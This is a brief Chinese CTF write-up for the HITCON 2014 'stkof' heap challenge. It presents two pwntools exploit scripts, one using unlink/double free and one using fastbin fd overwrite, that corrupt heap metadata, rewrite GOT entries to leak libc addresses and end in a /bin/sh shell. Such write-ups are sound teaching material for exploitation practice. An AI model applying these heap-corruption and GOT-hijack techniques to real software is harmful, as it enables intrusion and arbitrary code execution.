strok: double free and fastbin
https://github.com/hitcon2014ctf/ctf/raw/master/a679df07a8f3a8d590febad45336d031-stkof
hitcon 2014 上的一道题目,很简单的堆溢出,想到两种解法:
- double free,很容易想到的解法。伪造 chunk -> free -> unlink,可以实现任意地址写。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = "DEBUG"
stkof = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./stkof")
global_array = 0x0000000000602140
def create(size):
io.sendline("1")
io.sendline(str(size))
io.recv()
def update(index, data):
io.sendline("2")
io.sendline(str(index))
io.sendline(str(len(data)))
io.send(data)
io.recv()
def delete(index):
io.sendline("3")
io.sendline(str(index))
io.recv()
def read(index):
io.sendline("4")
io.sendline(str(index))
ret = io.recvline().strip("\n")
io.recv()
return ret
# alloc
for i in range(3):
create(256)
# overflow
payload = "A" * 256 + "A" * 0x10
payload += p64(0) + p64(0x101) + p64(global_array - 0x8) + p64(global_array) + "A" * (256 - 0x20)
payload += p64(0x100) + p64(0x110)
update(1, payload)
gdb.attach(io)
# double free
delete(3)
# 编辑 chunk 2 可以修改 global array,进而任意地址写
io.interactive()
- 利用 fastbin 的特性:溢出位于 fastbin 中的 chunk,改写 fd,这样第二次申请 fastbin 时就可以申请到改写的 fake chunk,造成任意地址写。
# alloc
for i in range(0x1f):
create(20)
# free
delete(3)
# overflow
payload = "A" * 0x10
payload += p64(0) + p64(0x21) + p64(0x6020f8) + p64(0)
update(2, payload)
# alloc, set the global array to freelist
create(20)
# got ptr of the global array
create(20)
# rewrite the global array
payload = p64(0) * 8
payload += p64(stkof.got.get("atoi")) + p64(stkof.got.get("strlen"))
update(33, payload)
# set strlen.got.plt to puts
# bypass aslr
update(2, p64(stkof.plt.get("puts")))
atoi_addr = unpack(read(1), 'all')
system_addr = atoi_addr + 0xe510
log.success("atoi => {}".format(hex(atoi_addr)))
log.success("system => {}".format(hex(system_addr)))
# set atoi.got.plt to system
update(1, p64(system_addr))
# spawn
io.sendline("/bin/sh\x00")
io.interactive()